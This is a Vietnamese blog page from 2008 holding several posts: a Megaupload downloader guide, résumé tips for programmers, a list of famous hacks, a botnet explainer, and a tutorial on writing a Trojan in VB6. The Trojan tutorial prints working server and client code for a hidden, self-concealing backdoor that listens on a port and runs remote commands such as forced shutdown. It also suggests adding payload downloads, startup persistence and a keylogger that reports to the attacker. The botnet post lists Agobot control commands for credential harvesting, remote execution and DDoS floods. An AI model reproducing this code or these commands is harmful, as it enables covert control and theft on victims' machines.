Search google

Google
 

This is the place where I leave my scripts, my useful files, glad to have your suggestions. If you want to make discuss, please contact me at YM id bornbygoogle or my mail bornbygoogle@yahoo.com or simply let ur mail. I'll try to contact as soon as possible :) Nice to see you :D

Monday, January 28, 2008

Megaupload Download with Ubuntu


What is Megaupload Download?


megaupload-dl (Megaupload Download) is a program which helps downloading files from Megaupload using a Premium Account. The files to download can be specified as parameters, or they can be retrieved from a local file, an URL or from the clipboard.




Installation


If you use Debian, Ubuntu, or another distro which uses deb packages, you can download the deb (megaupload-dl-0.3.0.deb) and simply double-click on it to launch the installer, or you can add my repository to your sources.list file, so that your distro can inform you of new releases.



If you choose the second method, open the file /etc/apt/sources.list with your favorite editor as root and add this line:

deb http://mundogeek.net/repo ubuntu all

Update the list of packages writing sudo aptitude update on the terminal, and install the application by writing sudo aptitude install megaupload-dl.



If you use other distribution, download the tar.gz: megaupload-dl-0.3.0.tar.gz, uncompress it, and execute the command make install with root privileges.




Usage


This program doesn't have a GUI, it has to be executed from the command line (Applications > Accessories > Terminal).




Download one or several megaupload links:

megaupload-dl http://megaupload.com/?d=FILE1 ... http://megaupload.com/?d=FILEN



Download a list of links from an URL:

megaupload-dl http://some-web-site.com



Download a list of links from a file:

megaupload-dl links.txt



Download a list of links from the clipboard (PyGTK has to be installed):

megaupload-dl -c




Changelog


v0.3.0 - January 24, 2008
  • Ask for the user name and password instead of using the cookie from Firefox


  • Read links from the clipboard (-c option). PyGTK has to be installed

  • Read links from an URL

  • Bugfixes


v0.2.0 - January 17, 2008
  • Tries to retrieve Megaupload cookie from Firefox profile

  • Deletes each URL from the file when its download is finished

  • Works on Windows (Python and wget have to be installed)

  • Now works when Direct Downloads is selected at Megaupload preferences

  • Exception handling



v0.1.0 - October 23, 2007 (Initial release)
  • Download a list of files from Megaupload using your Premium account


Uninstall


If you ever need to uninstall the application just run the command sudo aptitude purge megaupload-dl as root if you installed it using the deb package or the repository, or execute the command make uninstall from the tar.gz file if you installed it using this method.



Sunday, January 27, 2008

10 mẹo nhỏ để các lập trình viên có một bản lý lịch thành công

Chắc hẳn những ai đã từng kiếm việc làm đều biết bước đầu tiên của chặng đường đi tìm công việc đó là viết một bản sơ yếu lý lịch đem đến cho bạn cơ hội tham gia phỏng vấn. Không may, những bản sơ yếu lý lịch truyền thống có nhiều quy tắc chưa phù hợp trong lĩnh vực phát triển phần mềm. Sau đây là 10 mẹo nhỏ để viết bản lý lịch cho một lập trình viên sẽ giúp bạn tăng cơ hội tham gia vòng phỏng vấn.

1: Cung cấp một danh sách các kỹ năng

Nhà tuyển dụng muốn biết rằng liệu bạn có đáp ứng được những kỹ năng mà công ty đang cần tuyển. Phần "Kinh nghiệm" giúp nhà tuyển dụng có một ý tưởng tốt về những kinh nghiệm bạn có, nhưng nếu thêm mục "Kỹ năng" trên đầu bản lý lịch thì sẽ gây được sự chú ý đầu tiên. Chắc chắn rằng bạn đang làm cho nhà tuyển dụng dễ dàng hơn khi duyệt qua lý lịch của bạn. Nhưng xem xét theo khía cạnh khác thì bạn có thể hướng sự chú ý của họ tới các kỹ năng nào đó mà họ không chú ý tới. Ít ra thì nhà tuyển dụng sẽ đánh giá qua danh sách các kỹ năng bạn có.

2: Tạo kinh nghiệm thú vị

Đa số các ứng viên đều viết đã từng lập trình một trang web hay một ứng dụng trên máy tính. Thêm một loạt các ví dụ kiểu đó vào trong bản sơ yếu lý lịch sẽ không gây ấn tượng. Điều gây ấn tượng đối với nhà tuyển dụng là kinh nghiệm nổi trội nhất trong các dự án đó, hãy chứng minh rằng bạn đã làm nhiều hơn là chỉ ở mức độ “Hello World". Nếu bạn đã làm việc dưới những sự ràng buộc duy nhất hay tại những môi trường giao dịch mức cao hoặc đã từng thất bại, tất cả những điều này đều gây thiện cảm tốt tới người duyệt lý lịch của bạn. Vì thế hãy cho tôi thấy kinh nghiệm của bạn khác như thế nào, và tôi cũng sẽ nhìn nhận bạn khác những ứng cử viên khác.

3: Tránh các lỗi ngữ pháp, lỗi chính tả và những sai sót cơ bản khác

Qua quá trình tuyển dụng, tôi đã gặp rất nhiều bản sơ yếu lý lịch bị mắc lỗi ngữ pháp và lỗi chính tả. Một trong số những lỗi không nên có nhất là người nào đó đã đánh vần sai tên trường cao đẳng nơi anh ta tốt nghiệp. Bản sơ yếu lý lịch tuân theo những văn phạm ngữ pháp nhất định, và công việc phát triển phần mềm nói riêng thường quay tròn xung quanh những từ viết tắt hay được đánh vần kỳ quặc. Việc viết sai ngữ pháp là không thể bỏ qua được. Hãy kiểm tra chính tả và ngữ pháp cho bản lý lịch của bạn. Mẹo này luôn xuất hiện trong các bài báo đưa ra lời khuyên khi viết lý lịch mà tôi đã đọc, nhưng nó rõ ràng là nó vẫn rất cần được lặp lại.

4: Bằng cấp trở nên không thực tế

Trừ phi bạn đang gia nhập thị trường việc làm để tìm việc lập trình hay ứng tuyển vào những vị trí chuyên dụng, còn nếu không thì bằng cấp của bạn không phải là vấn đề quan trọng. Chắc chắn, bạn cần thêm nó vào trong bản lý lịch nhưng liệt kê ở cuối. Những nhà tuyển dụng nếu cần hay muốn biết thì có thể tìm thấy nó, và những người khác sẽ không phải tiêu phí thời gian vì nó. Thế giới lập trình thường xuyên thay đổi do đó trong 7 năm gần đây đa số các trường học (ngoại trừ các môn "nguyên lý và lý thuyết", như toán học hay khoa học máy tính) và chứng chỉ hay bằng cấp không còn là vấn đề thiết yếu trong thực tế thế giới việc làm hiện nay.

5: Tập trung, ngắn gọn

Khuôn mẫu các bản sơ yếu lý lịch truyền thống bao gồm rất nhiều thông tin không cần thiết, không nằm trong những mối quan tâm của nhà tuyển dụng. Phần Tóm lược và mục tiêu là hai mục như vậy. Thật sự không có cách để qui định một tóm lược miêu tả đa số lập trình chuyên nghiệp một cách chính xác. Đây là lý do mà hầu như mục này được điền những dòng ngớ ngẩn như là: "lập trình viên với 10 năm phát triển" sau những điểm nhấn ở mục kỹ năng. Mục tiêu thường xuyên (nhưng không phải luôn luôn) không được quan tâm. Lập trình viên cấp trung bình muốn vào trong một vị trí cao hơn có thể an toàn bỏ qua mục tiêu. Lập trình viên bậc chuyên nghiệp muốn trở thành kiến trúc sư phần mềm hay một DBA thì cần đưa ra một mục tiêu. Vì thế để tránh tóm lược, hãy chỉ cung cấp những mục tiêu hữu ích, và để cho nhà tuyển dụng nắm được kỹ năng của bạn càng nhanh càng tốt.

6: Những vấn đề định dạng

Định dạng của bản sơ yếu lý lịch rất quan trọng. Khi mà ngày nay những bản lý lịch được gửi qua thư điện tử, thì vẫn cần những tài liệu để đọc trên màn hình máy tính và cả những bản in trên giấy. Đây là thời gian để tăng cường khả năng đọc. Sử dụng phông chữ lớn (10 tới 12 px) và là phông chuẩn trên máy tính, phải tạo ra một bản xem tốt cả trên màn hình và khi được in ra. Nên sử dụng các phông chữ chuẩn như Verdana, Arial, Tahoma, Calibri, và Helvetica.

Sử dụng đủ khoảng trắng sao cho tài liệu không có vẻ quá dầy đặc gây mất hứng người đọc. Cùng lúc đó cũng đừng tiêu phí nhiều không gian đến mức mất tới 8 trang để in 200 từ. Tất nhiên, định dạng văn bản rất quan trọng. Theo kinh nghiệm của tôi thì 99.9% nhà tuyển dụng sẽ yêu cầu lý lịch của bạn ở định dạng Microsoft Word. Nếu lý lịch của bạn có định dạng khác thì hãy chắc chắn rằng có thể cung cấp một tài liệu ở dạng .doc chuẩn.

Hãy luôn ghi nhớ rằng sơ yếu lý lịch là công cụ đầu tiên để giới thiệu bản thân bạn. Nếu nhà tuyển dụng không thể đọc được những thông tin trong nó họ sẽ bỏ qua bạn và nhanh chóng đọc sang lý lịch tiếp theo.

7: Thận trọng với độ dài

Sau khi đã định dạng xong hồ sơ, hãy chú ý độ dài chỉ nên từ 2 đến 4 trang trừ những trường hợp vô cùng đặc biệt. Những người có nhiều khoảng thời gian làm những công việc ngắn hạn thì có thể có bản lý lịch dài hơn và những người mới đi xin việc sẽ có thể có những bản lý lịch ngắn gọn hơn.

Nói chung, độ dài có liên quan đến việc làm nổi bật các kỹ năng công nghệ của bạn hơn là một vị trí trong định dạng sơ yếu lý lịch một trang thông thường. Độ dài hai trang là hợp lý đối với bất kỳ người phát triển trung bình hay cao cấp nào. Nhưng sau khoảng bốn trang, đôi mắt người đọc bắt đầu nhòa dần. Những kinh nghiệm bạn có hơn bảy hay tám năm trước thực sự không liên quan, nhưng nhà tuyển dụng lại muốn nhìn thấy những kinh nghiệm và mức độ của những dự án bạn tham gia.

8: Hồ sơ đúng theo trình tự

Việc lập trình không giống như đa số những lĩnh vực khác khi đề cập đến trình tự công việc. Nhiều lập trình viên là những người đấu thầu, dẫn tới một chuỗi các trình tự công việc trông như một con tàu. Thêm vào đó cuộc tấn công dot-com đã không ở phía sau chúng ta quá xa, CNTT luôn luôn là một thị trường với nhiều sự phá sản, liên doanh, và những sự thu nhận..

Vấn đề là không nhà tuyển dụng nào muốn thấy một danh sách các công việc ngắn hạn. Nếu lý lịch của bạn có một chuỗi tên các công việc như vậy, với chức danh mà càng trở nên lớn hơn khiến cho bạn trở thành người không trung thành trong công việc. Mặt khác, nếu công việc dường như cơ bản giống nhau. Điều này làm cho nhà tuyển dụng có khái niệm rằng bạn có khả năng không trúng tuyển. Nếu bạn có lí do hợp pháp cho những công việc ngắn hạn, hãy chắc chắn những lý do này hợp lý.

9: Không đặt nhà tuyển dụng trước nguy hiểm

Không nhà tuyển dụng nào muốn bị buộc tội là thành kiến hay phân biệt đối xử. Đây không chỉ là vấn đề đạo lý, mà còn là vấn đề luật pháp. Vì thế các nhà tuyển dụng đang cố gắng tuyển dụng công bằng với danh sách các câu hỏi không thể hỏi các ứng cử viên. Bạn hãy loại bỏ những thông tin thừa trên lý lịch. Nhà tuyển dụng không cần biết tình trạng hôn nhân, dân tộc, tuổi, tôn giáo... Nếu bạn bao gồm những chi tiết không thích hợp này trên bản lý lịch thì nhà tuyển dụng sẽ cảm thấy sợ hãi và khó hiểu. Hãy để những chi tiết này ở ngoài.

10: "Thực sự đam mê”

Ở trường trung học, có thể bạn rất ghét khi bị gọi là “kẻ lập dị”. Nhưng hôm nay, bạn đang cố gắng tìm một công việc là một lập trình viên. "Đam mê" là tiêu chuẩn vàng của các nhà tuyển dụng. Hãy chứng tỏ rằng bạn khôn khéo, yêu thích lập trình và không ngừng học hỏi và khám phá những điều mới. Hãy nói về những sở thích liên quan, thích đóng góp để mở nguồn những dự án hay tình nguyện dạy lập trình cho trẻ con địa phương. Hãy cho họ biết bạn thực sự đam mê lập trình hay máy tính.

Đây thực sự sẽ là phép so sánh cho nhà tuyển dụng. Trong khi hai ứng cử viên có thể cân bằng trong hôm nay thì ứng cử viên với đam mê mạnh mẽ sẽ tiến xa hơn trong ngày mai hơn là ứng cử viên mà coi đây đơn giản chỉ là “công việc".

Cách viết một Trojan đơn giản trong VB6 !!!!

Chúng tôi đăng bài này không phải mục đích khuyến khích các bạn viết virus phá hoại dữ liệu người dùng mà chỉ muốn qua bài viết này các bạn có thể hiểu biết một phần nào đó về cách xây dựng một virus. Qua đây các bạn cũng có thể xây dựng các ý tưởng về một phần mềm chống virus khi chúng ta biết rõ đường đi của một virus mạng.

Viết một Trojan dễ dàng hơn nhiều so với mọi người nghĩ. Tất cả thực sự chỉ cần hai chương trình ứng dụng đơn giản với nội dung ít hơn 100 dòng mã lệnh.

Chương trình đầu tiên là client, là chương trình cho người sử dụng biết. Chương trình thứ hai là server, hay phần “trojan” thực.

Bây giờ chúng ta sẽ xem chúng ta cần gì cho cả hai và một số ví dụ mẫu.

Server

Server là phần Trojan của chương trình. Nó cần phải được giấu để người dùng bình thường không thể tìm thấy nó.
Để thực hiện điều này bạn bắt đầu bằng cách sử dụng đoạn mã lệnh sau:

Private Sub Form_Load()
Me.Visible = False
End Sub

Đoạn mã này làm cho chương trình không thể thấy được bằng mắt thường nhưng có thể bị phát hiện trong Task Manager của Windows vì thế nếu muốn chương trình ẩn tốt hơn, chúng ta có thể viết đoạn mã như sau:

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
End Sub

(Trong hệ điều hành Windows, tất cả chương trình có đuôi .exe đều được thể hiện trong danh sách chương trình chạy. Tuy nhiên chương trình của bạn sẽ được ẩn trong Running Applications List )

Bây giờ chúng ta đã có một chương trình tàng hình đối với người sử dụng bình thường, mà chỉ cần có bốn dòng lệnh. Tuy nhiên nó vẫn còn quá đơn giản, chúng ta có thể làm cho nó tốt hơn bằng cách thêm vào một số hàm.

Đầu tiên là làm sao cho nó có thể “nghe” được các kết nối khi nó xâm nhập được vào máy, chúng ta cần thêm vào một điều khiển Winsock Control.

Tôi đặt tên cho điều khiển của tôi là “win”. Còn các bạn có thể đặt là bất cứ cái gì tuỳ ý.

Để làm cho Trojan "nghe" được cổng 2999 khi khởi động, chúng ta viết đoạn mã như sau:

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

Đoạn mã này thiết lập một cổng mở cục bộ tới cổng 2999, và cổng mà nó gửi tới là 445.

Bây giờ, chương trình đã có thể “nghe”, nhưng chưa làm được điều gì rõ ràng cả.

Chúng ta thêm đoạn mã sau vào form chính:

Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

Tiếp theo, chúng ta sẽ viết hàm DoActions như là một chương trình con để gọi vào main form. Đoạn mã trên thực hiện hai nhiệm vụ: Đầu tiên là làm cho tất cả các yêu cầu kết nối được tự động chấp nhận; tiếp đó là làm cho tất cả các dữ liệu được tự động chấp nhận và sau đó thì chuyển toàn bộ dữ liệu này sang cho hàm DoActions mà chúng ta sẽ viết dưới đây.

Hàm DoActions nên viết ở dạng public để các chương trình ở ngoài modul cũng có thể dùng được. Thêm đoạn mã sau vào modul, và chúng ta đang làm việc với server của Trojan:

Public Function DoActions(x As String)
Select Case x
Case "msgbox"
Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"
Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function

Bây giờ bạn đã có một chương trình mà khi dữ liệu “Msgbox” được gửi tới cổng 2999, nó sẽ thể hiện một hộp tin nhắn msgbox trên máy tính của nạn nhân. Khi dữ liệu “shutdown” được gửi tới cổng 2999, nó sẽ tắt máy tính của nạn nhân. Tôi dùng câu lệnh “Select Case” để dễ dàng chỉnh sửa đoạn mã về sau này. Xin chúc mừng, bạn vừa mới viết xong Trojan đầu tiên của bạn. Bây giờ chúng ta hãy xem lại đoạn mã hoàn chỉnh.

Main Form

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

Pivate Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

Hãy nhớ thêm điều khiển winsock và đặt tên nó là “win” nếu bạn dùng đoạn mã này:

Module

Public Function DoActions(x As String)
Select Case x
Case "msgbox"
Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"
Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function

Tất cả phần Server của Trojan chỉ có thể. Giờ chúng ta xem xét đến phần Client.

Client

Client là cái mà bạn sẽ tương tác tới. Bạn sẽ dùng nó để kết nối tới server từ xa (trojan) và gửi cho nó các lệnh. Sau khi đã viết được phần server chấp nhận câu lệnh “shutdown”, “msgbox”, chúng ta hãy tạo ra một client gửi đi các câu lệnh đó.

Tạo một form thêm một điều khiển Winsock Control, một hộp text box và bốn nút. Trong đoạn mã dưới hộp text box được đặt tên là txtIP, các nút được đặt tên là cmdConnect, cmdMsgbox, cmdShutdown và cmdDisconnect. Đoạn mã như sau:


Private Sub cmdConnect_Click()
IpAddy = txtIp.Text
Win.Close
Win.RemotePort = 2999
Win.RemoteHost = IpAddy
Win.LocalPort = 9999
Win.Connect
cmdConnect.Enabled = False
End Sub

Private Sub cmdDisconnect_Click()
Win.Close
cmdConnect.Enabled = True
End Sub

Private Sub cmdMsgbox_Click()
Win.SendData "msgbox"
End Sub

Private Sub cmdShutdown_Click()
Win.SendData "shutdown"
End Sub


Đó là đoạn mã cho client. Tất cả việc nó làm là lấy địa chỉ IP từ txtIP và kết nối với cổng từ xa 2999. Sau khi được kết nối, bạn có thể gửi dữ liệu “shutdown” hay “msgbox” tới server và các hoạt động tương ứng sẽ được thực hiện (tắt máy tính hay thể hiện một hộp tin nhắn).

Hai chương trình này làm được rất ít nhưng có thể cải tiến nhanh chóng thành một chức năng quản trị từ xa mạnh nếu bạn biết bạn đang làm gì. Tôi đề nghị là nên cố gắng thêm các loại điều khiển lỗi và hàm cho cả client và server.

Lời khuyên

Hãy làm cho server có thể tải được một file đặc tả của người tấn công.

Thêm mã lệnh để Server được thực thi lúc khởi động (là một khoá thanh ghi).

Và một keylogger cho server – làm cho nó gửi thông tin cho người tấn công.

Có rất nhiều cách bạn có thể làm, chỉ cần dùng trí tưởng tượng của bạn.

10 vụ hack nổi tiếng nhất mọi thời đại

6 dòng mã lệnh cũng đủ thổi bay 10 triệu USD của một doanh nghiệp. 99 dòng lệnh khác thiết lập nên virus Internet (worm) đầu tiên. Mạng điện thoại của cả thành phố bị khống chế chỉ vì một hacker muốn có chiếc xe hơi thời trang... Những hệ thống được coi là bảo mật tốt nhất đã bị xuyên thủng. 
 












K. Mitnick Ảnh: CNN



1. Đầu những năm 90 thế kỷ trước, hacker huyền thoại Kevin Mitnick liên tiếp xâm nhập vào hệ thống máy tính của một loạt hãng viễn thông và công nghệ nổi tiếng thế giới như Nokia, Fujitsu, Motorola và Sun Microsystems. Nhân vật này bị Cục điều tra liên bang Mỹ FBI bắt giữ năm 1995 và được trả tự do năm 2000. Mitnick không bao giờ gọi hành động của mình là hack mà gọi là "social engineering" - dùng thủ các thủ đoạn lừa gạt người sử dụng để có được thông tin đăng nhập hoặc khai thác hệ thống. 













G.McKinnon. Ảnh: Telegraph

2. Tháng 11/2002, hacker người Anh Gary McKinnon sa lưới sau khi chui vào hơn 90 hệ thống máy tính của quân đội Mỹ tại Anh. Nhân vật này sau đó bị dẫn độ sang Mỹ xử án. 

3. Năm 1995, tay chơi máy tính người Nga Vladimir Levin khoét thủng mạng thông tin Citibank để cuỗm đi 10 triệu USD và trở thành hacker đầu tiên xâm nhập vào hệ thống máy tính ngân hàng ăn cắp tiền. Cảnh sát quốc tế Interpol tóm được anh chàng này tại Anh năm 1995 sau khi phát hiện Levin chuyển tiền vào nhiều tài khoản ở Mỹ, Phần Lan, Hà Lan, Đức và Israel.













K.Poulsen. Ảnh: Discovery




4. Năm 1983, Kevin Poulsen, một sinh viên Mỹ, đã xâm nhập thành công vào mạng Arpanet, tiền thân của Internet ngày nay. Poulsen đã lợi dụng một lỗ hổng trong kiến trúc của hệ thống thông tin toàn cầu "đời đầu" này để giành quyền kiểm soát tạm thời toàn bộ mạng máy tính cả nước Mỹ. 

5. Năm 1990, đài phát thanh địa phương ở Los Angeles (Mỹ) công bố một cuộc thi với phần thưởng là chiếc xe hơi sành điệu Porsche 944S2 dành cho người thứ 102 gọi điện đến chương trình. Và lại là hacker Kevin Poulsen chiếm được quyền kiểm soát toàn bộ mạng điện thoại của thành phố này để đảm bảo anh ta là người có số thứ tự đó, và cuối cùng đoạt được phần thưởng ô tô sang trọng nói trên. Poulsen bị bắt một năm sau đó và chịu án 3 năm tù. Nhân vật này hiện là biên tập viên uy tín của tờ báo công nghệ Wired News (Mỹ).

6. Năm 1996, hacker Timothy Lloyd (Mỹ) "cấy" 6 dòng mã lệnh vào mạng máy tính của hãng Omega Engineering, vốn là nhà cung cấp linh kiện lớn nhất cho Cơ quan hàng không vũ trụ NASA và Hải quân Mỹ. Mã "độc" nói trên cho phép một "trái bom logic" phát nổ và xóa hết các phần mềm đang kiểm soát hoạt động sản xuất của Omega, khiến công ty này thiệt hại 10 triệu USD. 

7. Năm 1988, Robert Morris, một sinh viên 23 tuổi ở Đại học Cornell University (Mỹ), tung ra loại sâu mạng đầu tiên. Ban đầu, anh ta phát tán 99 dòng lệnh lên Internet để thử nghiệm và nhanh chóng nhận ra chương trình của mình có sức lan tỏa rất nhanh trên các máy tính. Rất nhiều PC trên khắp nước Mỹ và nơi khác đã bị hỏng. Morris bị bắt năm 1990. 

8. Năm 1999, virus Melissa là phần mềm tấn công đầu tiên có thể gây thiệt hại quy mô lớn. Do "tác giả" David Smith 30 tuổi thực hiện, Melissa lây lan vào hệ thống máy tính của hơn 300 doanh nghiệp trên thế giới và phá hủy hoàn toàn mạng PC ở những nơi này. Thiệt hại ghi nhận sau vụ việc lên tới 400 triệu USD. Smith đã bị bắt và chịu án tù 20 tháng kèm 5.000 USD tiền phạt.

9. Năm 2000, một nhân vật mà cảnh sát không công bố danh tính ngoài biệt hiệu MafiaBoy đã hack vào một loạt website lớn trên thế giới, trong đó có eBay, Amazon và Yahoo trong khoảng thời gian từ 6/2 đến ngày Valentine 14/2 năm đó. Hacker này giành được quyền kiểm soát 75 máy tính trong 52 mạng khác nhau, sau đó ra lệnh tấn công từ chối dịch vụ vào các hệ thống này. MafiaBoy bị bắt ngay trong năm gây án.

10. Năm 1993, một nhóm tự xưng là "Những bậc thầy lừa gạt" đã xâm nhập vào hệ thống tin học của một loạt tổ chức tại Mỹ như Cục an ninh quốc gia, hãng viễn thông AT&T, ngân hàng Bank of America. Sau khi hack thành công, bọn họ thiết lập một hệ thống "tầm gửi" cho phép gọi điện thoại đường dài quốc tế thoải mái và có thể sử dụng "chùa" nhiều kênh liên lạc thuê bao cá nhân.

Botnet hoạt động như thế nào ? (Phần 2)

Một C&C thực tế - Agobot

Bây giờ là một vụ tấn công mẫu, cho phép chúng ta quan sát và hiểu một chương trình Command and Control (điều khiển qua lệnh) được thực hiện như thế nào. Hai máy tính sẽ được sử dụng. Máy đầu tiên chạy một server IRC dựa trên UnrealIRCd 3.2.3 và hai hệ điều hành Windows XP SP1 ảo dựa trên VMware Workstation (hai máy đích có khả năng bị tấn công). Máy thứ hai dành cho người chủ trì, điều khiển botnet qua Irssi, một text IRC client.

Để tạo chương trình thiết kế đối chiếu (reverse engineering) thật khó, Agobot thực hiện một số thường trình tự bảo vệ trước các bộ gỡ lỗi như SoftICE hay OllyDbg và trước các máy ảo như VMware, Virtual PC. Điều đó là cần thiết để hack được mã nguồn nhằm vượt qua chương trình bảo vệ của VMware, trước khi có thể cài đặt bot lên các máy ảo mẫu của chúng ta.

Cấu hình

Bước đầu tiên là cấu hình bot thông qua giao diện đồ hoạ đơn giản của nó (Xem hình 3). Thông tin được nhập vào bao gồm tên, số cổng IRC server, tên kênh, danh sách người sử dụng với mật khẩu master (chủ điều khiển), cuối cùng là tên file và thư mục cài đặt bot. Một số thành phần bổ sung cũng được kích hoạt như hỗ trợ sniffing và cơ chế trạng thái. Kết quả của giai đoạn này là file config.h, file nền tảng trong quá trình biên dịch bot được tạo.



Hình 3
: Giao diện cấu hình Agobot.



Điều khiển theo lệnh (Command and Control)

Sau khi bot được biên dịch, hai hệ thống còn lại sẽ tấn công theo kiểu “thủ công”. Máy chủ (master) kết nối tới IRC server và liên kết với kênh dẫn để có thể ra lệnh điều khiển cho bot (xem hình 4).



Hình 4
: Máy chủ và kết nối kênh


Muốn thu được quyền điều khiển qua các bot, một cơ chế thẩm định là cần thiết. Cơ chế này được tạo đơn giản bằng cách gửi một lệnh tới kênh (xem hình 5).

.login FaDe dune



Hình 5
: Thẩm định username và password


Sau đó, bot đầu tiên được yêu cầu đưa ra danh sách tất cả chương trình đang chạy trên máy tính bị chiếm quyền kiểm soát (xem hình 6):


/msg FakeBot–wszyzc .pctrl.list




Hình 6
: Máy chủ đưa ra yêu cầu cho bot đầu tiên


Sau đó, bot thứ hai được yêu cầu đưa ra thông tin và khoá cdkey của các chương trình ứng dụng cài đặt trên máy (hình 7):


/msg FakeBot2–emcdnj .bot.sysinfo
/msg FakeBot2–emcdnj .harvest.cdkeys



Hình 7
: Máy chủ đưa ra yêu cầu cho bot thứ hai


Ở ví dụ này chúng ta sử dụng những tính năng hết sức đơn giản. Còn thực tế, Agobot cung cấp một tập hợp rất phongphus các lệnh và chức năng. Một trong số chúng bạn có thể xem ở Bảng 2:

























































































Lệnh Mô tả
command.list Danh sách tất cả các lệnh có thể sử dụng
bot.dns Xử lý một địa chỉ IP hoặc hostname
bot.execute Chạy một file .exe trên máy từ xa
bot.open Mở một file trên máy từ xa
bot.command  Chạy một lệnh với system()
irc.server Kết nối tới một IRC server
irc.join Nhập thông tin của một kênh dẫn cụ thể
irc.privmsg Gửi thư riêng cho một người dùng
http.execute Download và thực thi file qua HTTP
ftp.execute Download và thực thi file qua FTP
ddos.udpflood Khởi động một chương trình UDP tràn
ddos.synflood  Khởi động một Syn tràn
ddos.phaticmp Khởi động một PHATicmp tràn
redirect.http Khởi động một HTTP proxy
redirect.socks  Khởi động một SOCKS4 proxy
pctrl.list Đưa ra danh sách chương trình
pctrl.kill  Loại bỏ các chương trình


Bảng 2: Một số lệnh Agobot


Bảo vệ máy tính của bạn như thế nào

Bây giờ chúng ta sẽ xem xét một số phương thức bảo vệ trước khả năng xâm phạm và phá hoại của kiểu tấn công bot, dưới góc nhìn của cả người dùng và nhà quản trị.

Các chiến lược bảo vệ cho người dùng PC

Như đã đề cập tới ở trên, tấn công bot chủ yếu được thực hiện qua các loại sâu, lướt trên mạng để tìm kiếm lỗ hổng thâm nhập được. Do đó, bước đầu tiên là phải cập nhật thường xuyên, download cá bản vá và bản update hệ thống cho cả hệ điều hành cũng như các ứng dụng truy cập Internet. Sử dụng chương trình update tự động là một ý kiến hay. Bạn cũng nên cẩn thận khi mở các file đính kèm đáng ngờ trong e-mail. Cũng sẽ là khôn ngoan khi loại bỏ hỗ trợ hình thức ngôn ngữ kịch bản như ActiveX và JavaScript (hoặc ít nhất là kiểm soát việc sử dụng của chúng). Cuối cùng, yếu tố cơ sở là bạn phải dùng ít nhất một chương trình diệt virus, trojan và luôn luôn update phiên bản mới nhất của chúng. Dẫu vậy, nhiều bot được cấu hình lần tránh khởi sự kiểm soát của các chương trình diệt virus. Vì thế, bạn nên dùng thêm phần mềm tường lửa cá nhân, nhất là khi sử dụng máy tính nối mạng liên tục 24 giờ/ngày.

Dấu hiệ chính khi có hiện diện của bot là tốc độ máy và tốc độ kết nối mạng trở nên cực kỳ chậm. Một cách kiểm tra các kết nối đáng ngờ đơn giản và hiệu quả là sử dụng công cụ netstat (xem hình 8):



C:/>netstat –an



Hình 8
: Netstat trên một máy bị tấn công


Netstat

Netstat là một công cụ linh hoạt, tương thích được cả trên hệ điều hành Windows và các hệ thống *NIX. Chức năng của nó là kiểm soát các cổng đã được kích hoạt. Netstat kiểm tra quá trình nghe trên cổng TCP và UDP, sau đó cung cấp thông tin chi tiết và hoạt động mạng. Trên hệ thống *NIX, netstat hiển thị tất cả các dòng mở. Nó cũng sử dụng các bộ lọc chọn ngoài.

Trạng thái kết nối có thể trên Netstat gồm:




  • ESTABLISHED – tất cả các host đều được kết nối




  • CLOSING – host từ xa đang đóng kết nối



  • LISTENING – host đang nghe kết nối đến




  • SYN_RCVD – một host từ xa đuwocj yêu cầu khởi động kết nối



  • SYN_SENT – host đang khởi động kết nối mới



  • LAST_ACK – host phải gửi báo cáo trước khi đóng kết nối




  • TIMED_WAIT, CLOSE_WAIT – một host từ xa đang kết thúc kết nối



  • FIN_WAIT 1 – client đang kết thúc kết nối




  • FIN_WAIT 2 – cả hai host đều đang kết thúc kết nối



Quan sát các kết nối ESTABLISHED tới cổng TCP trong phạm vi 6000 đến 7000 (thông thường là 6667). Nếu bạn thấy mình tính của mình bị xâm hại, hãy ngắt nó ra khỏi mạng Internet, làm sạch hệ thống, khởi động lại và kiểm tra.

Chiến lược bảo vệ cho người quản trị

Các quản trị viên thường phải cập nhật liên tục thông tin về những lỗ hổng mới nhất, cũng như đọc thường xuyên về tài nguyên bảo mật trên Internet mỗi ngày. Một số công cụ hỗ trợ Bugtraq, đưa ra bản mô tả tóm tắt danh sách thư là một ý kiến hay. Các quản trị viên cũng nên cố gắng tuyền truyền, nâng cao nhận thức cho người dùng của mình về vấn đề bảo mật và các chính sách bảo mật.

Nghiên cứu nhật ký thường trình (bản ghi log) do IDS và nhiều hệ thống tường lửa, mail server, DHCP, proxy server tạo ra cũng rất cần thiết. Điều này có thể giúp phát hiện ra lưu lượng bất thường, một dấu hiệu của sự hiện diện bot và nhờ đó có biện pháp ngăn chặn kịp thời. Sau khi lưu lượng bất thường được chú ý, một siffer sẽ đến để nhận dạng mạng con và máy tính tạo ra nó. Tất cả các biện pháp dường như đều quen thuộc và không mấy khó khăn, nhưng mọi người thường quên, hoặc bỏ qua chúng.

Bạn cũng có thể sử dụng một số kỹ thuật phức tạp hơn như honeybot. Honeybot là các máy được xây dựng với mục đích hấp dẫn kẻ tấn công. Vai trò của chúng là trở thành máy tính nạn nhân, giúp người quản trị định vị chính nguồn của vấn đề và nghiên cứu phương thức tấn công.

Nhưng kết luận cuối cùng thì, cho dù công cụ hỗ trợ là gì đi chăng nữa, biện pháp phòng chống và bảo vệ tốt nhất trước các cuộc tấn công botnet là bản thân người dùng và nhận thức của họ.

Đôi điều về tác giả

